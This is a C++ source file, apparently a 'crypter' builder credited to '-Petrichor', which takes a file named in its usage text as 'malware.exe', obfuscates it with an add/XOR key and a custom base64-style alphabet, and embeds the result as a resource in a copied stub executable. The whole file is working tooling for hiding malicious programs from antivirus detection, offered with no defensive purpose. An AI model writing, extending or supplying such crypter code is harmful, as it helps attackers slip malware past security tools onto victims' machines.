#pragma warning(disable: 4244)

#include <Windows.h>
#include <iostream>


static char encoding_table[] = 
{
	'=', 'w', 'e', 'r', 't', 'y', 'u', 'i',
	'o', 'p', 'a', 's', 'd', 'f', 'g', 'h',
	'-', 'k', 'l', 'z', 'x', 'c', 'v', 'b',
	'n', 'm', 'Q', 'W', 'E', 'R', 'T', 'Y',
	'<', 'I', 'O', 'P', 'A', 'S', 'D', 'F',
	'G', 'H', 'J', '/', 'L', 'Z', '@', 'C',
	'V', 'B', 'N', 'M', '9', '8', '7', '6',
	'5', '4', '3', '2', '1', '0', 'X', 'j'
};

static DWORD mod_table[] = { 0, 2, 1 };


char *mEncode(const byte *data, DWORD input_length, DWORD *output_length) 
{

	char *encoded_data;
	DWORD i, j;

    *output_length = 4 * ((input_length + 2) / 3);

    encoded_data = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *output_length);
    
	if (encoded_data == NULL)
	{
		 return NULL;
	}

    for (i = 0, j = 0; i < input_length;) 
	{
		 __int32 octet_a, octet_b, octet_c, triple;
        
		octet_a = i < input_length ? (BYTE)data[i++] : 0;
        octet_b = i < input_length ? (BYTE)data[i++] : 0;
        octet_c = i < input_length ? (BYTE)data[i++] : 0;

        triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;

        encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
        encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
        encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
        encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];

    }

    for (i = 0; i < mod_table[input_length % 3]; i++)
	{
		encoded_data[*output_length - 1 - i] = '#';
	}

    return encoded_data;
}

void Encode(byte *Data, DWORD Key, DWORD Size)
{
	for(DWORD i = 0; i < Size;i++)
	{
		Data[i] += Key;
		Data[i] ^= Key;
	}
}

int main(int argc, char **argv)
{

	std::cout << "Cpp Crypter example made by -Petrichor";

	if(argc != 2)
	{
		std::cout << "\nUsage: " << argv[0] << " malware.exe";
		return 1;
	}

	HANDLE ReadHandle = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if(ReadHandle == INVALID_HANDLE_VALUE)
	{
		std::cout << "\nCouldn't read the file. Make sure it exists. Best way is to drag and drop.";
		return 1;
	}

	DWORD inputSize = GetFileSize(ReadHandle, NULL);

	if(inputSize == INVALID_FILE_SIZE)
	{
		std::cout << "\nCouldn't get the file size.";
		CloseHandle(ReadHandle);
		return 1;
	}

	byte *inputData = static_cast<PBYTE>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inputSize));

	if(inputData == NULL)
	{
		std::cout << "\nNot enough memory.";
		CloseHandle(ReadHandle);
		return 1;
	}

	DWORD check = 0;

	if(!ReadFile(ReadHandle, inputData, inputSize, &check, NULL) || check != inputSize)
	{
		std::cout << "\nCouldn't read the file bytes or amount of read bytes is not correct.";
		CloseHandle(ReadHandle);
		
		if(inputData != NULL)
		{
			HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
		}

		return 1;
	}


	Encode(inputData, 1337, inputSize);

	DWORD Encodedlen = 0;

	char *Encoded = mEncode(inputData, inputSize, &Encodedlen);

	if(Encodedlen == 0 || Encodedlen != 4 * ((inputSize + 2) / 3))
	{
		std::cout << "Something went wrong while encrypting the data";
		
		CloseHandle(ReadHandle);
		
		if(inputData != NULL)
		{
			HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
		}
		else if(Encoded != NULL)
		{
			HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
		}

		return 1;
	}

	if(!CopyFileA("Stub.exe", "Done.exe", FALSE))
	{
		std::cout << "Stub is missing.";
		
		CloseHandle(ReadHandle);
		
		if(inputData != NULL)
		{
			HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
		}
		else if(Encoded != NULL)
		{
			HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
		}

		return 1;

	}


	HANDLE hResource = BeginUpdateResourceA("Done.exe", NULL);
    
	UpdateResourceA(hResource, RT_RCDATA, "Strings", LANG_NEUTRAL, Encoded, Encodedlen);
    
	EndUpdateResourceW(hResource, NULL);
	
	CloseHandle(ReadHandle);
	
	if(inputData != NULL)
	{
		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
	}
	else if(Encoded != NULL)
	{
		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
	}

	std::cout << "\nAll done.";

	return 0;
}